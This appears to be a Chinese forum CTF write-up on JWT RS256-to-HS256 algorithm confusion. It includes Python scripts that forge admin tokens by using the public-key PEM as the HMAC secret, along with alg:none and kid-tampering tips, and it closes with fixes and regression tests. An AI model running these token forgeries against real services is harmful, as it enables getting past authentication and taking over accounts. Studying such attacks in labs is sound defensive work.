跳转到帖子

CTF 密码学实战:从 JWT 算法混淆题定位验签边界与修复缺陷

精选回复

发布于

背景与授权边界这类 CTF 题通常把登录态放在 JWT 中,服务端声称使用 RS256,却在验签入口同时接受 HS256。问题不在 RSA 本身,而在验证器允许令牌头部的 alg 参与安全决策:RS256 下公钥仅用于验签;HS256 下传入的同一段公钥字节却可能被当成 HMAC 密钥。若实现和库版本未拒绝这种密钥类型错配,攻击者可在靶场中自行构造管理员令牌。以下步骤仅用于自建 CTF、比赛附件或明确授权的测试环境。不要对真实站点猜测密钥、重放令牌或修改他人会话。场景与初步定位假设题目提供普通用户令牌,受保护接口为 /admin,应用响应头或附件暴露 verify.pem。先不要直接改 payload,应先确认服务端到底执行了签名校验,还是只做了解码。# 仅对本地保存的 CTF 样本做离线拆分
export TOKEN='eyJ...'
python3 - <<'PY'
import os, json, base64
parts = os.environ['TOKEN'].split('.')
assert len(parts) == 3
def dec(s):
return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))
print('header =', json.loads(dec(parts[0])))
print('payload=', json.loads(dec(parts[1])))
print('siglen =', len(dec(parts[2])))
PY

# 检查题目给出的公钥类型与参数
openssl pkey -pubin -in verify.pem -text -noout
openssl pkey -pubin -in verify.pem -outform DER | sha256sum重点记录 header.alg、kid、typ,payload 中的 iss、aud、exp、nbf、role,以及签名字节长度。典型 RSA-2048 签名为 256 字节;如果修改 payload 后接口仍接受,优先怀疑未验签或错误调用 decode,而不是算法混淆。技术分析:混淆发生在哪里正常 RS256 验证相当于 Verify(RSA_public_key, signing_input, signature)。HS256 则是 HMAC-SHA256(secret, signing_input)。危险实现把令牌自带的 alg 直接交给通用 verify,并把同一份 key 传入。攻击者将 alg 改为 HS256,再以公开可得的公钥原始字节计算 HMAC。这里有两个常被忽略的条件。验证器必须同时允许 RS256 与 HS256,且没有把算法固定到密钥配置。作为 HMAC 密钥的字节必须与服务端读取结果完全一致;PEM 换行、末尾换行、DER 转换都会改变 HMAC。较新的库常会拒绝把 PEM 公钥当作 HMAC secret,因此不能仅凭“同时允许两个算法”就断言可利用。即使签名成立,iss、aud、exp、nbf 等声明仍可能导致拒绝,需要区分密码学失败和业务授权失败。操作步骤:用最小实验验证假设先在本地复刻验签逻辑,不要一开始就向靶场批量发包。下面脚本显式读取 PEM 原始字节,构造一个保留原有受众与签发者、仅修改 role 的测试令牌。它用于确认“公钥字节被误作 HMAC 密钥”这一假设,不包含扫描或口令猜测。#!/usr/bin/env python3
import base64, hashlib, hmac, json, time

def enc(raw: bytes) -> str:
return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()

def compact(obj) -> bytes:
return json.dumps(obj, separators=(',', ':'), ensure_ascii=False).encode()

# 必须保留原始 PEM 字节;不要擅自转 DER 或 strip()
key = open('verify.pem', 'rb').read()
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {
'sub': 'ctf-player',
'role': 'admin',
'iss': 'ctf-lab',
'aud': 'admin-api',
'iat': int(time.time()),
'exp': int(time.time()) + 300
}
body = enc(compact(header)) + '.' + enc(compact(payload))
sig = hmac.new(key, body.encode(), hashlib.sha256).digest()
print(body + '.' + enc(sig))将结果只发送到授权靶场的单一验证接口,并保留原令牌和响应。建议一次只改变一个变量:先保持 payload 不变仅切换 alg 与签名,再单独改变 role。这样可避免把 audience 错误、令牌过期或 CSRF 校验失败误判为验签失败。# 授权靶场示例;不要替换为未授权目标
TOKEN=$(python3 forge_lab_token.py)
curl -i --http1.1 \
-H

靶场实验与攻防复盘示意图
靶场实验、复盘记录与攻防路径示意
网络流量与边界分析示意图
网络请求、日志与边界流量分析示意

这类题的关键不是“伪造一个 JWT”,而是确认谁在决定验签算法、谁在提供密钥,以及业务是否把解码当成了验签。建议按下面的顺序定位,能比较快地区分算法混淆和普通鉴权缺陷。

  1. 先保存一个合法 token,分别对 header、payload 做 Base64URL 解码,记录原始 alg、kid、iss、aud。这里不要先改 payload,先只改 header,观察服务端返回是“算法不允许”“签名失败”还是正常进入业务。
  2. 测试 alg:none 时要同时尝试空签名的三段格式,即末尾保留点号。若能通过,通常说明代码只做了解码,或显式关闭了签名校验。
  3. 原 token 若为 RS256,再检查是否能改成 HS256,并把 RSA 公钥原始内容当作 HMAC secret 重新签名。能通过说明服务端直接信任 header 中的 alg,同时把同一份 key 交给了可切换算法的通用 verify 接口。公钥的 PEM 换行、头尾标记是否保留会影响题目结果,最好按服务端实际加载形式分别测试。
  4. 如果存在 kid,还要确认它是否只用于服务端白名单映射。把 kid 改为空值、未知值、路径形式或 URL 后看错误差异,可以判断是否存在任意文件读取、默认密钥回退或远程 JWK 获取问题;不过这与算法混淆是两条独立利用链,复盘时不要混在一起。

本地验证 RS256→HS256 假设时,可以直接用 Python 生成测试 token。只应在题目或授权靶场中使用:

import jwt

with open("public.pem", "rb") as f:
    public_key_bytes = f.read()

payload = {
    "sub": "guest",
    "role": "admin",
    "iss": "ctf",
    "aud": "web"
}

# 某些新版库会主动拒绝把 PEM 公钥用于 HMAC,这是安全保护。
# 若要复现存在缺陷的旧实现,应使用题目对应版本,或按服务端实际
# 读取方式取得其原始 key bytes,而不是在生产环境绕过库的保护。
token = jwt.encode(
    payload,
    public_key_bytes,
    algorithm="HS256",
    headers={"alg": "HS256", "typ": "JWT"}
)
print(token)

修复时重点放在验签边界,而不是简单过滤 header。服务端必须在配置中固定算法,并按算法类型使用不同密钥对象;header 的 alg 只能用于与预期值比较,不能决定验证流程。伪代码可以写成:

EXPECTED_ALG = "RS256"

header = decode_header_without_trusting_it(token)
if header.get("alg") != EXPECTED_ALG:
    reject("unexpected jwt algorithm")

claims = verify(
    token,
    key=RSA_PUBLIC_KEY,
    algorithms=[EXPECTED_ALG],
    require=["exp", "iss", "aud"],
    issuer="ctf-auth",
    audience="ctf-web"
)

# 验签和标准声明检查完成后,才读取角色等业务字段
role = claims.get("role")

最后建议补三类回归用例:none 必须拒绝、RS/HS 互换必须拒绝、签名正确但 iss/aud/exp 不符合也必须拒绝。这样能覆盖“签名算法固定了,但声明校验仍缺失”的常见半修复状态。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。